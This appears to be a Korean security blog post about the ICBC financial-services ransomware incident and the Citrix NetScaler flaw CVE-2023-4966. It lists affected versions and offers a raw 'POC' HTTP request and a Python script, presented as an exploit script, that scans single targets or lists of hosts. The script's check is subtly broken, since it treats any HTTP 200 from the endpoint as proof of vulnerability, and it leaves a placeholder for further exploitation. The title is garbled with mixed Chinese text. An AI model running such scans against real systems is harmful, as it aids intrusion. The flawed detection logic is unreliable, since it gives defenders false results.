중국工商银行 랜섬웨어 공격 사고 발생, 취약점 검출 및 악용 스크립트 제공

중국工商银行 랜섬웨어 공격 사고 발생, 취약점 검출 및 악용 스크립트 제공


11월 8일 미국 동부 시간대에 중국工商银行의 외화 사업 부문인 ICBCFS가 랜섬웨어 공격으로 인해 시스템 중단 사고를 겪었다는 보고가 나왔다. 해당 조직은 뉴욕 메릴린치 은행에 거래 데이터를 담은 USB 드라이브를 전달하며 시스템 복구 작업을 진행 중이다. 이 사건은 미국 금융시장에 일정한 영향을 미쳤으며, 중국 외교부는 해당 기관의 대응을 긍정적으로 평가했다.

사고 원인으로는 Citrix NetScaler 장비의 보안 취약점이 지적되었다. 해당 취약점(CVE-2023-4966)은 특정 버전의 NetScaler ADC와 Gateway에서 발생하며, 공격자는 이를 통해 인증 우회 및 세션 쿠키 추출이 가능하다. 영향을 받는 버전 범위는 다음과 같다:


NetScaler ADC 및 Gateway 14.1 < 14.1-8.50
NetScaler ADC 및 Gateway 13.1 < 13.1-49.15
NetScaler ADC 및 Gateway 13.0 < 13.0-92.19
NetScaler ADC 13.1-FIPS < 13.1-37.164
NetScaler ADC 12.1-FIPS < 12.1-55.300
NetScaler ADC 12.1-NDcPP < 12.1-55.300

취약점 검출을 위한 POC 코드 예시:


GET /oauth/idp/.well-known/openid-configuration HTTP/1.1
Host: [IP:PORT]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Dnt: 1
Upgrade-Insecure-Requests: 1
Connection: close

악용 스크립트 구조 수정:


import requests

def check_vulnerability(target_host):
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36'
    }
    try:
        response = requests.get(f'https://{target_host}/oauth/idp/.well-known/openid-configuration', headers=headers, timeout=10)
        if response.status_code == 200:
            print(f'[+] {target_host} 취약점 발견')
            # 추가 악용 로직
        else:
            print(f'[-] {target_host} 정상')
    except Exception as e:
        print(f'[-] {target_host} 연결 실패: {str(e)}')

if __name__ == '__main__':
    import argparse
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='단일 타겟 URL')
    parser.add_argument('-f', '--file', help='목록 파일 경로')
    args = parser.parse_args()
    
    if args.url:
        check_vulnerability(args.url)
    elif args.file:
        with open(args.file, 'r') as f:
            for line in f:
                check_vulnerability(line.strip())

경고: 본 문서는 교육 목적용이며, 법적 테스트나 불법적인 활동에 사용될 수 없습니다. 취약점 활용으로 인한 모든 책임은 사용자에게 있으며, 작성자는 이에 대해 아무런 책임도 지지 않습니다.

태그: 랜섬웨어 Citrix 보안취약점 취약점검출 네트워크보안

6월 11일 21:52에 게시됨